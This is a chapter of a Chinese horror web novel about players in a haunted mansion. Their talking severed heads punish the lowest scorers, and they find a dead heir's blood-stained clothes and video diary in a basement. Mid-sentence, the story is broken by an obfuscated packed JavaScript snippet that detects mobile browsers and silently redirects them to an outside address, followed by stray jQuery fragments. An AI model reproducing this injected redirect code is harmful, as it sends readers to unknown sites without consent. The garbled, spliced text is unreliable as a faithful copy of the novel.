129. 07楚门的世界·香港豪门版^^……
作品:《小红花诡屋[无限]》 评分时间终于到了。
七人被叫到餐厅。
餐厅中央摆着长桌,七个头颅手提袋放在桌上,头颅们都睁着眼睛。
老头站在桌旁,手里拿着一张纸。
“现在公布昨晚的评分。”老头说。
七人屏住呼吸。
“龙琴书,表演分:3分,直播分:4分,总分:7分。”
龙琴书面色一白,总分10分,她只得7分。
“叶温缇,表演分:4分,直播分:3分,总分:7分。”
叶温缇咬紧嘴唇。
“朱志明,表演分:2分,直播分:3分,总分:5分。”
朱志明身体一晃,顾辉伸手扶住。
“顾辉,表演分:3分,直播分:4分,总分:7分。”
顾辉面无表情。
“周笔灰,表演分:1分,直播分:2分,总分:3分。”
周笔灰握紧拳头。
“郑琳达,表演分:6分,直播分:7分,总分:13分。”
众人惊讶地看向郑琳达——总分20分,她得了13分,是最高分。
郑琳达自己也愣住了。
“黄羽翎,表演分:5分,直播分:6分,总分:11分。”
黄羽翎松了口气,虽然不是最高,但也不算低。
老头放下纸张:“现在公布排名。第一名:郑琳达;第二名:黄羽翎;第三名:龙琴书、叶温缇、顾辉并列;第六名:朱志明;第七名:周笔灰。”
朱志明与周笔灰脸色惨白。
“根据规则,”老头继续说,“最后一名要接受惩罚。”
周笔灰抬起头:“什么惩罚?”
老头不答,看向周笔灰的疤痕头颅。
头颅突然开口,声音冰冷:“你,过来。”
周笔灰身体一僵。
“过来。”头颅重复。
周笔灰慢慢走到长桌前,面对自己的头颅。
头颅盯着他:“你得了最低分,知道为什么吗?”
周笔灰不语。
“因为你不真实。你装成冷漠,装成不在乎。但我知道,你在乎,在乎得要命。”
周笔灰嘴唇颤抖,硬是回了一个愤怒的眼神。
“所以惩罚是……”头颅顿了顿,“你要面对真实的自己。”
话音刚落,周笔灰突然捂住脸惨叫一声。
众人惊恐地看到,他脸上的疤痕开始发光蔓延,从脸部延伸到脖子、手臂乃至全身。
疤痕如同活物般在皮肤上游走,留下深深刻痕。
周笔灰跪倒在地痛苦呻吟,衣服被撑破,露出布满疤痕的身体。
“周笔灰!”黄羽翎想冲过去,却被老头拦住。
“别动,”老头面无表情,“这是他的惩罚。”
惨叫声持续约一分钟才渐渐停止。
周笔灰瘫在地上浑身是汗,衣服破烂,身躯遍布疤痕。
疤痕头颅开口:“现在,你和我一样了。”
周笔灰缓缓爬起,看着自己的身体。眼神从痛苦变为震惊,最终化作绝望。
“你想说,这就是真实的我。你比我真实,你想取代我?”他低声道。
头颅沉默。
老头转向朱志明:“你是倒数第二,惩罚较轻。”
朱志明颤抖着走到长桌前。
他的长刘海头颅开口:“你害怕被人看,对吧?”
朱志明点头。
“所以惩罚是你要一直被人看。”
话音刚落,朱志明的头发开始疯狂生长。长发遮住脸、眼睛乃至整个头部,他变成一团行走的头发。
“啊!”朱志明惊恐地抓扯头发,却无济于事。
头发仍在生长,拖到地上。
“从现在起,”头颅说,“你的头发会一直长,直到你学会面对别人的目光。”
朱志明瘫坐在地,被头发淹没。
惩罚结束。
老头宣布:“今天工作照常。晚上直播照常。明天继续评分。”
七人沉默离开餐厅。
周笔灰和朱志明被搀扶着回到房间。
黄羽翎帮周笔灰清理伤口敷药。
周笔灰躺在床上,眼神空洞。
“疼吗?”
周笔灰摇头:“不疼了。”
但黄羽翎知道他在说谎,那些疤痕深可见肉,怎么可能不疼。
“为什么要这样惩罚我们?”
周笔灰沉默良久:“因为我们要学会面对真实的自己。郑楚文就是无法面对,才选择了结束。郑世昌不想让我们重蹈覆辙。”
“这种方式太残忍了。”
“看来这次来到这间鬼屋,鬼主是哲学家。并且擅长心理学,喜欢pua人,让人心理崩溃。”
看着周笔灰满身伤口,黄羽翎点头,不再说话。
她包扎好伤口离开房间,在走廊遇见靠墙而立的郑琳达。
郑琳达神色复杂。
“你得了最高分,你怎么做到的?”
郑琳达也感到困惑,摇头,“我还想问问你,你觉得我为什么得最高分?”
黄羽翎想了想:“因为表演真实?”
“不,”郑琳达摇头,“我也不明白,如果非要我像一个,我觉得是可能是我对骂得很精彩。”
黄羽翎一愣。
“昨晚直播时,我的头颅一直在批评我,说我跳得野、穿得暴露、不像豪门千金。我生气了,就开始骂它。骂它虚伪、做作、不懂真实。”
她顿了顿:“我骂得很凶很脏很痛快。骂完后头颅沉默片刻,然后说:‘这才是真实的你。’”
黄羽翎似乎有点明白了。
“所以得高分的秘诀不是表演得好,而是真实。哪怕是愤怒的真实。”
黄羽翎思考着,想起周笔灰对鬼主是哲学家的猜测。
“不过,你可别真信我,我是乱讲的。”郑琳达指了指周笔灰的房间,“你看他,真实了,却付出惨痛代价。”
两人沉默片刻,各自回房。
黄羽翎看着镜中的自己,看向手提袋中的瘦削头颅。
头颅正睁眼望着她。
“你在想什么?”
黄羽翎不答。
“你在想周笔灰,想郑琳达,想你自己。”
黄羽翎点头。
“你害怕吗?”
“害怕。”
“害怕什么?”
“害怕变得像周笔灰那样。害怕面对真实的自己,害怕付出代价。”
头颅沉默数秒:“但你知道吗?逃避的代价更大。郑楚文逃避二十五年,最后付出生命。周笔灰只逃避几天,代价已如此沉重。你准备逃避多久?”
再一次被对方来来回回的这些话刺激到,黄羽翎觉得自己无能,一时之间无言以对。
她也想骂点什么,只是对方的这张脸是自己最痛苦的时候,她没忍心。
顿了好一会儿,黄羽翎只低声说了句不知道。
头颅眼神复杂:“你总是犹豫、退缩、不敢决定。你讨厌这样的自己,对吧?”
黄羽翎点头。
“但这就是你。犹豫的你、退缩的你、不敢做决定的你。这也是真实的你。”
眼泪涌上:“可是这样的我……很讨厌。”
“我知道。但讨厌也是真实的一部分。”
黄羽翎累了,心里一种无力感,从早到晚被自己的头盯着,被自己的头进行心理“堵塞”,她真的受不了。
经历了这么多恐怖的鬼屋,她第一次情绪失控到不行,当下就捂脸无声哭泣。
这过程,头颅只静静看着。
哭了一会儿,黄羽翎擦泪抬头:“那我该怎么办?”
“做你自己。不管是犹豫的、退缩的,还是勇敢的、坚强的做完整的你自己。”
黄羽翎佯装自己还停留在自我谴责的情绪里,可怜兮兮地向头问道:“完整的自己?”
“人不是单一的。你有脆弱也有坚强,有犹豫也有果断。你要接纳所有,而非只接纳好的部分。”
黄羽翎沉默。
“我明白了。”
头颅似有笑意:“那就好。”
敲门声响起,老头的声音传来:“工作时间到了。”
黄羽翎深吸一口气,提袋出门。
走廊里其他人陆续走出。
周笔灰与朱志明也出来了,但模样糟糕。
周笔灰换宽松衣服遮身,脸上新疤痕从额延至下巴;
朱志明头发已长及腰,用绳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243392|177457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勉强扎起,却仍在生长。
七人集合前往工作间。
今天任务是打扫地下室。
地下室阴冷潮湿,霉味弥漫。
灯光昏暗,七人持清洁工具小心下行。
楼梯漫长。
走到一半,黄羽翎听到微弱声响。
非头颅之声,似哭泣又似呻吟。
“你们听到了吗?”她小声道。
众人停步细听。确有声音从深处传来。
“是什么?”龙琴书声音发颤。
“去看看。”顾辉说。
继续下行,声音渐清。
是男人压抑而痛苦的哭声。
底层有扇铁门,声音从门后传来。
铁门挂生锈大锁,顾辉推之不动。
“里面有人?”郑琳达问。
“听起来像。”周笔灰道。
此时老头声音从楼梯上方传来:“你们在干什么?”
七人一惊回头。
老头立于楼梯上面无表情。
“下面有声音。”黄羽翎说。
“通风管道的声音。”老头道,“别管,开始工作。”
七人相视无奈,开始打扫。
地下室堆满杂物:旧家具、破箱子、废弃电器。
灰尘厚重,一动便扬尘四起。
黄羽翎与龙琴书负责角落。
几个大箱子盖着防尘布。
龙琴书掀开布,突然尖叫。
“怎么了?”黄羽翎冲过去。
龙琴书指箱脸色惨白。
黄羽翎看去也愣住。
箱内装满华丽晚礼服、西装、裙子,但每件都沾暗红污渍,似干涸血迹。
“这是……”
“郑楚文的衣服。”
老头声音忽从身后响起。
七人回头,老头不知何时已站在身后。
“他死前穿的衣服。跳楼时血溅满身,这些洗不净,便放在这里。”
黄羽翎看着那些衣服,寒意袭来,头脑里自动浮现郑楚文穿这些站于露台,纵身跃下,然后血染华服。
“为什么要留这些?”叶温缇问。
“郑先生要求的。他说,要记住这个教训。”
“什么教训?”顾辉问。
老头不答:“继续工作。”
七人心情沉重地继续打扫,地下室如同巨大坟墓。
打扫中途,黄羽翎在另一角落发现旧电视。
老式显像管电视。
她试着打开,电视竟亮了。
屏幕先是雪花刺耳噪音。
调频道后,画面突现。
里面是一个豪华房间,
年轻男人坐于沙发。
是郑楚文。
屏幕里的他约二十出头,穿休闲装对镜微笑。
“大家好,我是楚文。今天是我二十岁生日。感谢祝福,我很开心。”
画面中郑楚文笑容灿烂却眼神空洞。
他继续致谢并拆礼物。
礼物堆积如山,他每拆一件便露惊喜表情。
但黄羽翎注意到那惊喜很假,似排练无数次。
画面跳转:郑楚文健身、读书、社交。
每场景他都表现完美,却皆透深深疲惫。
最后一段,郑楚文站于露台。
他穿血衣看镜头,眼神绝望。
“今天是我二十五岁生日。
直播八小时,收无数礼物祝福。但我知道,没有一个是给我的,都是给‘郑楚文’这个角色。”
他顿了顿:“我想知道:真正的我在哪里?我还存在吗?”
画面至此结束,化作黑暗。
黄羽翎关掉电视,心情沉重。她终于理解郑楚文的痛苦——被塑造成完美角色,失去了真实自我。
“你看到了?”瘦削头颅在袋中问。
黄羽翎点头。
“现在你明白了?”
“明白了。郑楚文不是自杀,是被杀,被这个角色杀死。”
头颅沉默。
打扫完地下室,七人回地面。
已是下午,阳光刺眼。他们站庭院呼吸新鲜空气,心情仍沉。
老头宣布:“今天工作结束。回房准备,晚上直播照常。”

